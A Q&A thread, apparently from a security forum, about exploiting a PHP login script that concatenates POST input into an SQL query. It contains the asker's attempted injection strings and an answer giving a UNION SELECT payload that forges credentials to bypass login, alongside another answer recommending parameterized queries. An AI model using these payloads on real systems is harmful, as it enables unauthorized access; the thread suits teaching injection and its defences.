4

I have a question to solve. Well there's no records of username and password in the database and so one cannot Log in without inserting any records. Is there anyway to exploit the following code and insert records so that we can login.

<?php   
        $con = mysqli_connect("localhost", "root", "pass", "database");
        $username = $_POST["username"];
        $password = $_POST["password"];
        $logged_in = false;
        $query = "SELECT * FROM users WHERE username='$username'";
        $result=mysqli_query($con, $query);
          if(mysqli_num_rows($result) === 1) {
                $row = mysqli_fetch_array($result);
                if($row["password"] === $password){ 
                       $logged_in = true;
                }

        if(!$logged_in)
                echo("Failed to login");
?>

I have tried the following username = ' OR 1=1 LIMIT 1 ; INSERT INTO users (username,password) VALUES('user','pass') -- username = ' OR 1=1 LIMIT 1 --

Also tell me if there's any other way to exploit the code.

8

This appears to be a case of UNION SELECT rather than inserting your own records. What you need to do is figure out how many columns are being selected (by trial and error.. SELECT 1,2,3...n until you stop getting an error).

After that, you inject the query so the first part returns false (no username found). The tricky part: You inject ' OR 1 = 0; UNION SELECT 'banana' AS username, '123456' AS password FROM users LIMIT 1;# into the username field, and into the password field you inject 123456.

You essentially force the SQL query to return any password you want and therefore bypass their conditions :)

-1

You're allowing direct user input into the query so it is injectable by definition.

Use prepared parameterized statements (not to be confused with stored procedures) and filter your input.

Here's a cheat sheet for secure query handling

It will get you up to speed on sql injection mitigation.

https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

Stored procedures also help in important ways. You can strongly type and size your input parameters and they're usually safe because they are parameterized internally. However with great flexibility comes danger. If you dynamically build queries inside them you can get into trouble. You can also limit an application's DB user's privileges, in an all stored procedures app, to execute only, not select, update, delete, and/or grant(!).

Hope this helped!

  • OP wants to know how to exploit the code to grant login access, not how to secure it. – Simon Aug 3 '16 at 3:46
  • Ah I assumed that since he had the source that he was interested in fixing it. Breaking it is an exercise in trial and error. The union answer is close if not the right answer. You just need it to return a single row where the input password matches the value selected AS injected one. Voting answer up. – user356540 Aug 4 '16 at 4:15

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.